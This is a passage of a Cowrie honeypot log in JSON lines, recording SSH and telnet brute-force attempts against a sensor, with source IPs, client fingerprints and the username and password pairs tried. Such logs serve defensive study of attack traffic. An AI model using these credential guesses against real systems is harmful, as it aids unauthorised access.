{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:47:55.211084Z","src_ip":"198.23.150.42","session":"e2accdaf39aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:47:55.315561Z","src_ip":"198.23.150.42","session":"e2accdaf39aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:47:56.337736Z","src_ip":"198.23.150.42","session":"e2accdaf39aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.4","message":"Connection lost after 17.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:48:00.510348Z","src_ip":"8.218.166.49","session":"eace2bbbd222","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.219","src_port":56682,"dst_ip":"159.203.135.109","dst_port":22,"session":"978415980760","protocol":"ssh","message":"New connection: 101.36.124.219:56682 (159.203.135.109:22) [session: 978415980760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:48:09.522458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:48:09.527223Z","src_ip":"101.36.124.219","session":"978415980760","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:48:09.744564Z","src_ip":"101.36.124.219","session":"978415980760","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raj123","message":"login attempt [root/raj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:48:10.635462Z","src_ip":"101.36.124.219","session":"978415980760","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:48:11.854390Z","src_ip":"101.36.124.219","session":"978415980760","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":39458,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f428c386806","protocol":"ssh","message":"New connection: 8.218.166.49:39458 (10.17.0.5:22) [session: 4f428c386806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:48:11.923923Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.40.162","src_port":17288,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c3d8dd59052","protocol":"ssh","message":"New connection: 49.207.40.162:17288 (10.17.0.5:22) [session: 1c3d8dd59052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:48:14.829613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:48:14.836621Z","src_ip":"49.207.40.162","session":"1c3d8dd59052","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:48:15.055712Z","src_ip":"49.207.40.162","session":"1c3d8dd59052","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:48:15.962656Z","src_ip":"49.207.40.162","session":"1c3d8dd59052","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:48:17.184500Z","src_ip":"49.207.40.162","session":"1c3d8dd59052","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:48:18.024776Z","src_ip":"8.218.166.49","session":"4f428c386806","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:48:18.028862Z","src_ip":"8.218.166.49","session":"4f428c386806","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.180.57.212","src_port":45496,"dst_ip":"10.17.0.5","dst_port":22,"session":"98af00a3998f","protocol":"ssh","message":"New connection: 182.180.57.212:45496 (10.17.0.5:22) [session: 98af00a3998f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:48:23.582235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:48:23.586945Z","src_ip":"182.180.57.212","session":"98af00a3998f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:48:23.823404Z","src_ip":"182.180.57.212","session":"98af00a3998f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1919","message":"login attempt [root/1919] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:48:24.808569Z","src_ip":"182.180.57.212","session":"98af00a3998f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:48:26.041733Z","src_ip":"182.180.57.212","session":"98af00a3998f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.60.147.195","src_port":21695,"dst_ip":"10.17.0.5","dst_port":23,"session":"133dcb68b373","protocol":"telnet","message":"New connection: 187.60.147.195:21695 (10.17.0.5:23) [session: 133dcb68b373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:48:31.533773Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":38576,"dst_ip":"10.17.0.5","dst_port":23,"session":"df847943d5f8","protocol":"telnet","message":"New connection: 142.93.69.27:38576 (10.17.0.5:23) [session: df847943d5f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:48:32.409191Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.60.147.195","src_port":21978,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ca0fc8d0eb3","protocol":"telnet","message":"New connection: 187.60.147.195:21978 (10.17.0.5:23) [session: 4ca0fc8d0eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:48:33.905800Z"}
{"eventid":"cowrie.session.closed","duration":0.4829716682434082,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:48:34.388647Z","src_ip":"187.60.147.195","session":"4ca0fc8d0eb3","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:48:34.471051Z","src_ip":"8.218.166.49","session":"0fbe6afede0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:48:34.477156Z","src_ip":"8.218.166.49","session":"36aa63ff1b24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:48:50.619289Z","src_ip":"8.218.166.49","session":"6790317aca71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:48:59.405366Z","src_ip":"8.218.166.49","session":"6709083d0c9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:09.140192Z","src_ip":"8.218.166.49","session":"4f428c386806","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:13.974389Z","src_ip":"8.218.166.49","session":"0fbe6afede0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.92040228843689,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:14.329499Z","src_ip":"142.93.69.27","session":"df847943d5f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:14.677044Z","src_ip":"8.218.166.49","session":"36aa63ff1b24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":41120,"dst_ip":"10.17.0.5","dst_port":22,"session":"4210edb0f7e3","protocol":"ssh","message":"New connection: 198.23.150.42:41120 (10.17.0.5:22) [session: 4210edb0f7e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:19.670748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:19.676101Z","src_ip":"198.23.150.42","session":"4210edb0f7e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:19.697019Z","src_ip":"198.23.150.42","session":"4210edb0f7e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"232323","message":"login attempt [root/232323] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:19.797480Z","src_ip":"198.23.150.42","session":"4210edb0f7e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:20.817273Z","src_ip":"198.23.150.42","session":"4210edb0f7e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"81.1","message":"Connection lost after 81.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:33.065089Z","src_ip":"8.218.166.49","session":"4f428c386806","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.40.162","src_port":52579,"dst_ip":"10.17.0.5","dst_port":22,"session":"392bb854ed82","protocol":"ssh","message":"New connection: 49.207.40.162:52579 (10.17.0.5:22) [session: 392bb854ed82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:37.618345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:49:37.622988Z","src_ip":"49.207.40.162","session":"392bb854ed82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-5